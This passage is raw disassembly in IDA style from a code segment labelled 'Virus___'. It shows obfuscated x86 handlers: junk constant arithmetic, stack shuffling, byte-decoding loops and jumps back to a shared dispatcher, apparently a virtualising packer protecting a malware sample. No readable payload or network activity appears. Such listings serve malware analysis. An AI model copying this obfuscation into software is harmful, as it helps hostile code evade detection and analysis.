loc_574414:				; CODE XREF: Virus___:005734F9j
		pop	esp
		push	edi
		mov	edi, 18DD0957h
		and	edi, 3D1C5B2Bh
		add	edi, 5A2571B1h
		sub	eax, edi
		jmp	loc_57E374
; ---------------------------------------------------------------------------


loc_57442E:				; CODE XREF: Virus___:005733B2j
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0CC710BFh
		mov	ebp, 635804FFh
		sub	ebp, 99D2F56h
		add	ebp, 28997754h
		add	ebp, ebx
		sub	ebp, 28997754h
		jmp	loc_57EB6E
; ---------------------------------------------------------------------------


loc_57445B:				; CODE XREF: Virus___:00576C03j
		and	edx, 3C135063h
		shr	edx, 2
		shl	edx, 7
		sub	edx, 806807FCh
		mov	eax, edx
		pop	edx
		add	ebp, eax
		jmp	loc_57BCD0
; ---------------------------------------------------------------------------


loc_574477:				; CODE XREF: Virus___:00575D15j
		sub	bl, cl
		add	bl, 3Bh
		pop	ecx
		jmp	loc_577D0E
; ---------------------------------------------------------------------------


loc_574482:				; CODE XREF: Virus___:00572D81j
		mov	[esp], ecx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_574C21
; ---------------------------------------------------------------------------


loc_57448F:				; CODE XREF: Virus___:0057DCC8j
		add	eax, ebp
		pop	ebp
		add	eax, 7CD6749Ch
		jmp	loc_57B425
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		jmp	loc_57B3D0
; ---------------------------------------------------------------------------


loc_5744A6:				; CODE XREF: Virus___:0057A762j
		xor	edx, 1D637E73h
		or	edx, 42B15BA5h
		sub	edx, 0A7714EBh
		add	ecx, edx
		pop	edx
		jmp	loc_574007
; ---------------------------------------------------------------------------


loc_5744C0:				; CODE XREF: Virus___:0057A895j
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 383E04DCh
		add	edx, 68E24FE8h
		and	edx, 64D220ECh
		and	edx, 1A441F2h
		xor	edx, 0C4h
		jmp	loc_57A931
; ---------------------------------------------------------------------------


loc_5744EB:				; CODE XREF: Virus___:005759ACj
		mov	[esp], edi
		mov	edi, 5E4905CCh
		shl	edi, 4
		add	edi, 4C627D89h
		not	edi
		inc	edi
		shr	edi, 2
		add	edi, 575EEABh
		push	ecx
		mov	ecx, 0
		sub	ecx, edi
		xchg	ecx, edi
		pop	ecx
		push	ecx
		mov	ecx, 327D036Ch
		add	edi, ecx
		pop	ecx
		or	edi, 635C517Ah
		jmp	loc_57C91D
; ---------------------------------------------------------------------------


loc_574527:				; CODE XREF: Virus___:00576163j
		push	edx
		mov	dl, al
		mov	cl, dl
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_57E4E8
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_57E125
; ---------------------------------------------------------------------------


loc_57455D:				; CODE XREF: Virus___:0057B8A6j
		push	edi
		mov	edi, 1ACE7715h
		mov	ebp, 410A9B3Ah
		sub	ebp, edi
		jmp	loc_57BECB
; ---------------------------------------------------------------------------


loc_57456F:				; CODE XREF: Virus___:005749BBj
		mov	[esp], edx
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_574577:				; CODE XREF: Virus___:005764A2j
		xor	ebx, 49FA382Ah
		add	esi, 23AD3282h
		sub	esi, ebx
		sub	esi, 23AD3282h
		pop	ebx
		add	esi, 0CE1515ECh
		push	edx
		mov	edx, 232E7B37h
		jmp	loc_576754
; ---------------------------------------------------------------------------


loc_57459D:				; CODE XREF: Virus___:0057EC7Fj
		xchg	ebx, [esp]
		jmp	loc_572B39
; ---------------------------------------------------------------------------


loc_5745A5:				; CODE XREF: Virus___:0057C1E3j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57A038
; ---------------------------------------------------------------------------


loc_5745BA:				; CODE XREF: Virus___:00577842j
		mov	[esp], esi
		mov	esi, edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 75DF18D2h
		jmp	loc_5787A0
; ---------------------------------------------------------------------------


loc_5745D5:				; CODE XREF: Virus___:005762CAj
		pop	eax
		sub	[esp+4], edx
		jmp	loc_57BFD4
; ---------------------------------------------------------------------------


loc_5745DF:				; CODE XREF: Virus___:00577FC8j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_578EE9
; ---------------------------------------------------------------------------


loc_5745E8:				; CODE XREF: Virus___:005733C7j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_575CA1
; ---------------------------------------------------------------------------


loc_57460F:				; CODE XREF: Virus___:00575732j
		push	ecx
		mov	ecx, 160D36E5h
		not	ecx
		add	ecx, 1
		jmp	loc_57475D
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 0D9h
		jmp	loc_578881
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	49B1h
		mov	[esp], eax
		push	1623h
		mov	[esp], esp
		jmp	loc_5765A1
; ---------------------------------------------------------------------------


loc_574640:				; CODE XREF: Virus___:0057590Ej
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_576CCD
; ---------------------------------------------------------------------------


loc_57464C:				; CODE XREF: Virus___:0057E951j
		mov	[esp], eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_578CC3
; ---------------------------------------------------------------------------


loc_574679:				; CODE XREF: Virus___:005760CFj
		xchg	eax, [esp]
		jmp	loc_57B843
; ---------------------------------------------------------------------------


loc_574681:				; CODE XREF: Virus___:00574DECj
		pop	ecx
		jmp	loc_57A4F6
; ---------------------------------------------------------------------------


loc_574687:				; CODE XREF: Virus___:00574022j
		push	0E18h
		mov	[esp], eax
		push	79Fh
		jmp	loc_5731A4
; ---------------------------------------------------------------------------


loc_574699:				; CODE XREF: Virus___:005732C5j
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 72F6187Ah
		shr	esi, 2
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_57D9BF
; ---------------------------------------------------------------------------


loc_5746C4:				; CODE XREF: Virus___:0057AA76j
		mov	edi, 602B1F1Bh
		add	ecx, edi
		pop	edi
		add	esi, ecx
		pop	ecx
		add	esi, 2118633Ah
		sub	esi, 38BB52EDh
		jmp	loc_573394
; ---------------------------------------------------------------------------


loc_5746E0:				; CODE XREF: Virus___:00573382j
		mov	edi, 2000h
		and	eax, edi
		jmp	loc_579C97
; ---------------------------------------------------------------------------


loc_5746EC:				; CODE XREF: Virus___:0057E8F1j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57A47A
; ---------------------------------------------------------------------------


loc_5746FD:				; CODE XREF: Virus___:00578739j
		add	edi, esi
		sub	edi, 223D71h
		pop	esi
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		xor	al, ch
		pop	ecx
		xor	bl, al
		movzx	eax, al
		sub	esp, 4
		jmp	loc_576332
; ---------------------------------------------------------------------------


loc_574726:				; CODE XREF: Virus___:00572E14j
		add	edx, 12BA1B17h
		mov	edi, edx
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		jmp	loc_5754D0
; ---------------------------------------------------------------------------


loc_57473E:				; CODE XREF: Virus___:0057319Fj
		pop	esp
		mov	[esp], ecx
		jmp	loc_57722C
; ---------------------------------------------------------------------------


loc_574747:				; CODE XREF: Virus___:0057C336j
		add	dword ptr [esp], 4
		pop	ecx
		push	edi
		mov	edi, 186F1B35h
		add	edi, 39E5636h
		jmp	loc_5735A7
; ---------------------------------------------------------------------------


loc_57475D:				; CODE XREF: Virus___:0057461Aj
		sub	ecx, 14E02BFh
		add	ecx, 1
		jmp	loc_57A8DA
; ---------------------------------------------------------------------------


loc_57476E:				; CODE XREF: Virus___:00574C37j
		push	eax
		mov	eax, 4
		jmp	loc_57BE69
; ---------------------------------------------------------------------------


loc_574779:				; CODE XREF: Virus___:00579365j
		pop	dword ptr [eax]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5734A5
; ---------------------------------------------------------------------------


loc_574789:				; CODE XREF: Virus___:00576900j
		push	bx
		mov	bh, 0Eh
		xor	bh, 37h
		jmp	loc_57AADE
; ---------------------------------------------------------------------------


loc_574795:				; CODE XREF: Virus___:0057AAD0j
		mov	ecx, [esp]
		jmp	loc_57726F
; ---------------------------------------------------------------------------


loc_57479D:				; CODE XREF: Virus___:0057D406j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_5747AD:				; CODE XREF: Virus___:0057E9F9j
		sub	esp, 4
		mov	[esp], edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_578ECC
; ---------------------------------------------------------------------------


loc_5747C4:				; CODE XREF: Virus___:00572E8Bj
		mov	[esp], edi
		mov	edi, 894040Dh
		jmp	loc_57818B
; ---------------------------------------------------------------------------


loc_5747D1:				; CODE XREF: Virus___:0057B5B7j
		pop	eax
		push	edx
		jmp	loc_57BC99
; ---------------------------------------------------------------------------


loc_5747D8:				; CODE XREF: Virus___:00577D09j
		pop	esp
		jmp	loc_5737E1
; ---------------------------------------------------------------------------


loc_5747DE:				; CODE XREF: Virus___:0057B363j
		pop	edi
		add	ebp, eax
		jmp	loc_57EBBF
; ---------------------------------------------------------------------------


loc_5747E6:				; CODE XREF: Virus___:0057DF5Ej
		pop	ebp
		jmp	loc_57C828
; ---------------------------------------------------------------------------


loc_5747EC:				; CODE XREF: Virus___:00579676j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_579A21
; ---------------------------------------------------------------------------


loc_5747F7:				; CODE XREF: Virus___:0057A324j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	5417h
		mov	[esp], eax
		push	esp
		jmp	loc_57CF95
; ---------------------------------------------------------------------------


loc_574811:				; CODE XREF: Virus___:0057AE1Dj
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_577CAA
; ---------------------------------------------------------------------------


loc_57481C:				; CODE XREF: Virus___:005751E2j
		pop	ebx
		sub	ebp, 2D765258h
		jmp	loc_57CEAE
; ---------------------------------------------------------------------------


loc_574828:				; CODE XREF: Virus___:0057920Bj
		pop	edi
		not	esi
		and	esi, 15034DA9h
		jmp	loc_57CEC7
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dh, 0DAh
		xor	dh, 0CDh
		add	al, 0B4h
		add	al, 2Fh
		add	al, dh
		sub	al, 2Fh
		sub	al, 0B4h
		pop	edx
		push	4364h
		jmp	loc_57E2A7
; ---------------------------------------------------------------------------


loc_574852:				; CODE XREF: Virus___:0057B9DFj
		push	ebx
		push	48662D1Eh
		pop	ebx
		jmp	loc_57B80F
; ---------------------------------------------------------------------------


loc_57485E:				; CODE XREF: Virus___:0057E30Ej
		push	ebx
		push	3C10h
		jmp	loc_57303B
; ---------------------------------------------------------------------------


loc_574869:				; CODE XREF: Virus___:005734AFj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_57B194
; ---------------------------------------------------------------------------


loc_574887:				; CODE XREF: Virus___:005740ECj
		mov	edx, 77C73F49h
		shl	edx, 4
		shl	edx, 2
		xchg	ecx, edx
		not	ecx
		jmp	loc_5733E4
; ---------------------------------------------------------------------------


loc_57489B:				; CODE XREF: Virus___:0057A395j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	1FE6490Ch
		pop	esi
		shl	esi, 5
		push	ebx
		mov	ebx, 6FA76944h
		push	ebp
		mov	ebp, 892D8AA4h
		add	ebx, ebp
		pop	ebp
		sub	esi, ebx
		pop	ebx
		jmp	loc_5762F6
; ---------------------------------------------------------------------------


loc_5748C7:				; CODE XREF: Virus___:005740CDj
		mov	edi, 347537A0h
		neg	edi
		not	edi
		add	edi, 5F807B10h
		or	edi, 43650BE1h
		jmp	loc_575F3D
; ---------------------------------------------------------------------------


loc_5748E1:				; CODE XREF: Virus___:0057D22Ej
		xor	eax, edi
		xor	edi, ecx
		jmp	loc_5792B2
; ---------------------------------------------------------------------------


loc_5748EA:				; CODE XREF: Virus___:0057BA3Bj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57DBB3
; ---------------------------------------------------------------------------


loc_5748F9:				; CODE XREF: Virus___:0057B570j
		mov	cl, 7Ch
		jmp	loc_5762AD
; ---------------------------------------------------------------------------


loc_574900:				; CODE XREF: Virus___:00577CA5j
		mov	ebx, esp
		push	edi
		mov	edi, 4D512F85h
		add	edi, 0B2AED07Fh
		jmp	loc_577A24
; ---------------------------------------------------------------------------


loc_574913:				; CODE XREF: Virus___:00573332j
		mov	[esp], edx
		mov	edx, 4
		add	esi, 0B9228BEh
		add	esi, edx
		push	7660h
		mov	[esp], ebp
		mov	ebp, 0B9228BEh
		sub	esi, ebp
		pop	ebp
		pop	edx
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_57E5F8
; ---------------------------------------------------------------------------


loc_574942:				; CODE XREF: Virus___:0057A0C6j
		mov	ah, 0D3h
		add	ah, 0FFh
		not	ah
		xor	ah, 0F5h
		and	cl, ah
		pop	eax
		push	ebx
		jmp	loc_5758FD
; ---------------------------------------------------------------------------


loc_574955:				; CODE XREF: Virus___:0057A59Aj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57495A:				; CODE XREF: Virus___:0057ABB6j
		mov	ebx, esp
		jmp	loc_57C1A4
; ---------------------------------------------------------------------------


loc_574961:				; CODE XREF: Virus___:00574D70j
		mov	ch, 0DCh
		push	eax
		mov	ah, 0BAh
		jmp	loc_57E070
; ---------------------------------------------------------------------------


loc_57496B:				; CODE XREF: Virus___:00574D2Bj
		xchg	ebx, [esp]
		jmp	loc_57782F
; ---------------------------------------------------------------------------


loc_574973:				; CODE XREF: Virus___:00572BFCj
		mov	[esp], eax
		mov	ah, 1Ch
		jmp	loc_57A82F
; ---------------------------------------------------------------------------


loc_57497D:				; CODE XREF: Virus___:0057A6FDj
		sub	eax, 2A7A3F5Ch
		jmp	loc_57A5FA
; ---------------------------------------------------------------------------


loc_574987:				; CODE XREF: Virus___:0057BBCAj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57498C:				; CODE XREF: Virus___:005786B8j
		add	edx, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_57BA40
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	67FFh
		jmp	loc_57391C
; ---------------------------------------------------------------------------


loc_5749BA:				; CODE XREF: Virus___:0057AA8Cj
		pop	esp
		jmp	loc_57456F
; ---------------------------------------------------------------------------


loc_5749C0:				; CODE XREF: Virus___:0057B528j
		sub	ebp, 3D1F5A00h
		pop	eax
		push	edi
		jmp	loc_579507
; ---------------------------------------------------------------------------


loc_5749CD:				; CODE XREF: Virus___:0057724Fj
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_573264
; ---------------------------------------------------------------------------


loc_5749DD:				; CODE XREF: Virus___:00579033j
		mov	[ebx], edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57349C
; ---------------------------------------------------------------------------


loc_5749EA:				; CODE XREF: Virus___:0057E16Fj
		sub	ecx, 24854E3Fh
		pop	ebx
		push	5BCBh
		mov	[esp], eax
		push	edi
		mov	edi, 533E06ACh
		jmp	loc_573878
; ---------------------------------------------------------------------------


loc_574A04:				; CODE XREF: Virus___:00574A71j
		mov	[esp], ebx
		jmp	loc_57E309
; ---------------------------------------------------------------------------


loc_574A0C:				; CODE XREF: Virus___:0057A873j
		push	eax
		jmp	loc_576B97
; ---------------------------------------------------------------------------


loc_574A12:				; CODE XREF: Virus___:00576394j
		xor	ebp, [esp]
		jmp	loc_57D212
; ---------------------------------------------------------------------------


loc_574A1A:				; CODE XREF: Virus___:0057AD58j
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 6AAB3965h
		sub	ebx, 136EF566h
		push	eax
		mov	eax, 627724C4h
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, ebx
		add	edi, 627724C4h
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_573E6B
; ---------------------------------------------------------------------------


loc_574A50:				; CODE XREF: Virus___:0057C784j
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_57BA2C
; ---------------------------------------------------------------------------


loc_574A5C:				; CODE XREF: Virus___:0057CEE3j
		push	ebx
		mov	bl, 67h
		not	bl
		sub	bl, 20h
		add	bl, 30h
		xor	ch, bl
		jmp	loc_57BE41
; ---------------------------------------------------------------------------


loc_574A6E:				; CODE XREF: Virus___:0057D1D0j
		sub	esp, 4
		jmp	loc_574A04
; ---------------------------------------------------------------------------


loc_574A76:				; CODE XREF: Virus___:0057E8DDj
		mov	esi, ebp
		pop	ebp
		add	esi, edi
		pop	edi
		push	ebp
		mov	ebp, 238E137Fh
		not	ebp
		or	ebp, 7B2375F1h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		and	ebp, 24745E2h
		add	ebp, 1FD42ABBh
		sub	ebp, 31476443h
		add	esi, ebp
		pop	ebp
		mov	ebp, esi
		pop	esi
		jmp	loc_57E80F
; ---------------------------------------------------------------------------


loc_574AAC:				; CODE XREF: Virus___:005772C9j
		shr	ecx, 3
		xor	ecx, 15AABCA1h
		sub	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 48AC176Ch
		sub	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 20h
		jmp	loc_579031
; ---------------------------------------------------------------------------


loc_574ACC:				; CODE XREF: Virus___:0057EC59j
		push	2
		pop	ebp
		mov	eax, ebp
		pop	ebp
		push	ecx
		mov	ecx, 26745CFEh
		add	esi, ecx
		jmp	loc_57BDD0
; ---------------------------------------------------------------------------


loc_574AE2:				; CODE XREF: Virus___:00579222j
		pop	esp
		mov	[esp], edi
		jmp	loc_577B0E
; ---------------------------------------------------------------------------


loc_574AEB:				; CODE XREF: Virus___:00578E26j
		mov	edi, esp
		add	edi, 4
		push	ecx
		jmp	loc_577A10
; ---------------------------------------------------------------------------


loc_574AF9:				; CODE XREF: Virus___:0057907Dj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_57DD7D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_57EB33
; ---------------------------------------------------------------------------


loc_574B11:				; CODE XREF: Virus___:00575049j
		mov	edx, 0FFFC8AC3h
		xor	ebx, edx
		jmp	loc_57DC80
; ---------------------------------------------------------------------------


loc_574B1D:				; CODE XREF: Virus___:0057B278j
		add	esi, 54DF123Dh
		push	ebx
		mov	ebx, 11821438h
		xor	ebx, 6F2864F3h
		sub	esi, ebx
		pop	ebx
		add	esi, ecx
		add	esi, 7EAA70CBh
		jmp	loc_57C89C
; ---------------------------------------------------------------------------


loc_574B3F:				; CODE XREF: Virus___:00577DABj
		pop	eax
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_57C456
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_57DC96
; ---------------------------------------------------------------------------


loc_574B57:				; CODE XREF: Virus___:0057A4F1j
		mov	ecx, [esp]
		jmp	loc_57EF1E
; ---------------------------------------------------------------------------
		align 10h
		dd 0D80059E8h, 172BE9h,	81F90100h, 8769E5E9h, 0CCC1816Dh
		dd 0FF4BDA23h, 835F2434h, 0C3304C4h, 240C3124h,	0E9240C33h
		dd 70D2h
; ---------------------------------------------------------------------------


loc_574B8C:				; CODE XREF: Virus___:0057EC4Cj
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5765D8
; ---------------------------------------------------------------------------


loc_574B97:				; CODE XREF: Virus___:0057353Ej
		push	edx
		jmp	loc_57BBEE
; ---------------------------------------------------------------------------


loc_574B9D:				; CODE XREF: Virus___:0057C340j
		dec	edx
		add	edx, 0E39F1F17h
		xor	edi, edx
		pop	edx
		add	edi, 0C821F7A8h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		jmp	loc_57841E
; ---------------------------------------------------------------------------


loc_574BB8:				; CODE XREF: Virus___:0057BC73j
		mov	[esp], ebp
		mov	ebp, 33BD4A7Eh
		xor	ebp, 7DEB1535h
		and	ebp, 5209578Fh
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	ebp, 39E02F54h
		add	ebp, edx
		add	ebp, 39E02F54h
		pop	edx
		xor	ebp, 4200570Eh
		add	edi, ebp
		pop	ebp
		push	7205h
		mov	[esp], edx
		mov	edx, 668B2AA5h
		dec	edx
		shl	edx, 7
		push	ebx
		jmp	loc_575D05
; ---------------------------------------------------------------------------


loc_574C01:				; CODE XREF: Virus___:00577FDCj
		push	ebx
		mov	ebx, 659F3927h
		xor	ebx, 659F3923h
		add	edi, ebx
		jmp	loc_5790B0
; ---------------------------------------------------------------------------


loc_574C14:				; CODE XREF: Virus___:0057E2AAj
		mov	cl, 35h
		inc	cl
		push	small 0
		jmp	loc_57B1E5
; ---------------------------------------------------------------------------


loc_574C21:				; CODE XREF: Virus___:0057448Aj
		pop	eax
		pop	dword ptr [esp]
		not	eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		pop	ecx
		xchg	ecx, ebp
		xchg	eax, ebp
		push	edx
		mov	edx, esp
		jmp	loc_57476E
; ---------------------------------------------------------------------------


loc_574C3C:				; CODE XREF: Virus___:00573AEFj
		mov	[esp], ebp
		jmp	loc_579D9A
; ---------------------------------------------------------------------------


loc_574C44:				; CODE XREF: Virus___:0057E28Ej
		sub	ecx, 43247922h
		sub	ebx, 5AB056CDh
		add	ebx, ecx
		push	ebp
		mov	ebp, 5AB056CDh
		sub	ebx, 7C7F369Ah
		add	ebx, ebp
		push	eax
		mov	eax, 7C7F369Ah
		add	ebx, eax
		pop	eax
		pop	ebp
		mov	ecx, [esp]
		jmp	loc_57B585
; ---------------------------------------------------------------------------


loc_574C72:				; CODE XREF: Virus___:0057A996j
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57928B
; ---------------------------------------------------------------------------


loc_574C84:				; CODE XREF: Virus___:005740DDj
		mov	ecx, esp
		push	eax
		mov	eax, 315932E9h
		push	ecx
		mov	ecx, 16033696h
		inc	ecx
		and	ecx, 6CA018A8h
		sub	ecx, 0F1A6B0BCh
		jmp	loc_57B08E
; ---------------------------------------------------------------------------


loc_574CA4:				; CODE XREF: Virus___:00579B9Cj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	5F58h
		jmp	loc_576019
; ---------------------------------------------------------------------------


loc_574CCB:				; CODE XREF: Virus___:00576405j
		mov	[esp], ecx
		push	esp
		jmp	loc_5759A6
; ---------------------------------------------------------------------------


loc_574CD4:				; CODE XREF: Virus___:005767A1j
		not	ebp
		push	eax
		push	ebp
		pop	eax
		pop	ebp
		sub	eax, 5456189Eh
		jmp	loc_577F4F
; ---------------------------------------------------------------------------
		push	582h
		jmp	loc_572C27
; ---------------------------------------------------------------------------


loc_574CEE:				; CODE XREF: Virus___:00576009j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	5386h
		mov	[esp], ecx
		mov	ch, 6Eh
		xor	ch, 2Ch
		add	ch, 1
		push	4E10h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_57553D
; ---------------------------------------------------------------------------


loc_574D25:				; CODE XREF: Virus___:0057B161j
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		jmp	loc_57496B
; ---------------------------------------------------------------------------


loc_574D30:				; CODE XREF: Virus___:0057BE77j
		push	ebx
		push	eax
		push	7723456Fh
		pop	eax
		xor	eax, 38287A18h
		sub	eax, 102AEECFh
		mov	ebx, eax
		pop	eax
		jmp	loc_577A50
; ---------------------------------------------------------------------------


loc_574D4A:				; CODE XREF: Virus___:0057AF06j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_57C149
; ---------------------------------------------------------------------------


loc_574D56:				; CODE XREF: Virus___:00575950j
		mov	bh, dl
		jmp	loc_574DB2
; ---------------------------------------------------------------------------


loc_574D5D:				; CODE XREF: Virus___:00572B0Fj
		mov	ebx, 4EA0307Ah
		or	ebx, 5D0B5F85h
		not	ebx
		jmp	loc_573C10
; ---------------------------------------------------------------------------


loc_574D6F:				; CODE XREF: Virus___:0057C79Ej
		push	ecx
		jmp	loc_574961
; ---------------------------------------------------------------------------


loc_574D75:				; CODE XREF: Virus___:005778B7j
		push	6AEB4619h
		pop	edx
		jmp	loc_578B69
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		jmp	loc_577197
; ---------------------------------------------------------------------------


loc_574D99:				; CODE XREF: Virus___:0057C299j
		push	esi
		mov	esi, 6DEC23C8h
		xor	esi, 44CC2A7Dh
		sub	esi, 0C3699F31h
		or	eax, esi
		jmp	loc_577B96
; ---------------------------------------------------------------------------


loc_574DB2:				; CODE XREF: Virus___:00574D58j
		pop	edx
		shr	bh, 4
		push	ecx
		mov	cl, 0E9h
		jmp	loc_579FCC
; ---------------------------------------------------------------------------


loc_574DBE:				; CODE XREF: Virus___:005738DEj
		mov	[esp], ecx
		mov	ecx, 3BF20C80h
		jmp	loc_578E2B
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	eax
		mov	eax, esp
		jmp	loc_57A9AA
; ---------------------------------------------------------------------------


loc_574DD6:				; CODE XREF: Virus___:0057C27Ej
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_57921F
; ---------------------------------------------------------------------------


loc_574DE4:				; CODE XREF: Virus___:005790ABj
		push	ecx
		mov	ecx, 0AE365579h
		sub	esi, ecx
		jmp	loc_574681
; ---------------------------------------------------------------------------


loc_574DF1:				; CODE XREF: Virus___:0057DB1Bj
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_574E02:				; CODE XREF: Virus___:00579A69j
		mov	ebp, 2
		sub	edi, 5E0F5328h
		add	edi, ebp
		add	edi, 5E0F5328h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_57A276
; ---------------------------------------------------------------------------


loc_574E24:				; CODE XREF: Virus___:0057E5B1j
		push	eax
		mov	eax, 24h
		add	eax, edi
		jmp	loc_57CD81
; ---------------------------------------------------------------------------


loc_574E31:				; CODE XREF: Virus___:005743F5j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_57C2AE
; ---------------------------------------------------------------------------


loc_574E49:				; CODE XREF: Virus___:00579280j
		pop	ecx
		sub	eax, edx
		jmp	loc_57BA48
; ---------------------------------------------------------------------------


loc_574E51:				; CODE XREF: Virus___:0057D349j
		sub	ax, 2993h
		jmp	loc_57A95C
; ---------------------------------------------------------------------------


loc_574E5A:				; CODE XREF: Virus___:005762B8j
		pop	eax
		not	ch
		push	ebx
		mov	bh, 66h
		sub	ch, bh
		jmp	loc_57412E
; ---------------------------------------------------------------------------


loc_574E67:				; CODE XREF: Virus___:0057516Cj
		inc	ecx
		inc	ecx
		add	ecx, 0F0533072h
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, ebx
		jmp	loc_57C6C7
; ---------------------------------------------------------------------------


loc_574E7E:				; CODE XREF: Virus___:005761AAj
		sub	bl, ch
		add	bl, 7Dh
		pop	ecx
		pop	eax
		dec	bl
		add	bl, 0E5h
		jmp	loc_57B945
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_574E9D:				; CODE XREF: Virus___:0057AAC8j
		sub	ebx, 0CAB10BAh
		jmp	loc_579143
; ---------------------------------------------------------------------------


loc_574EA8:				; CODE XREF: Virus___:00572CD0j
		pop	ecx
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		inc	byte ptr [esp]
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_574EC2:				; CODE XREF: Virus___:00577340j
		mov	ebx, 4D5148CAh
		jmp	loc_572F37
; ---------------------------------------------------------------------------


loc_574ECC:				; CODE XREF: Virus___:00574386j
		mov	[esp], ebx
		mov	ebx, 7628E566h
		push	ebp
		push	ebx
		sub	dword ptr [esp], 3B73248h
		pop	ebp
		add	ebp, 3B73248h
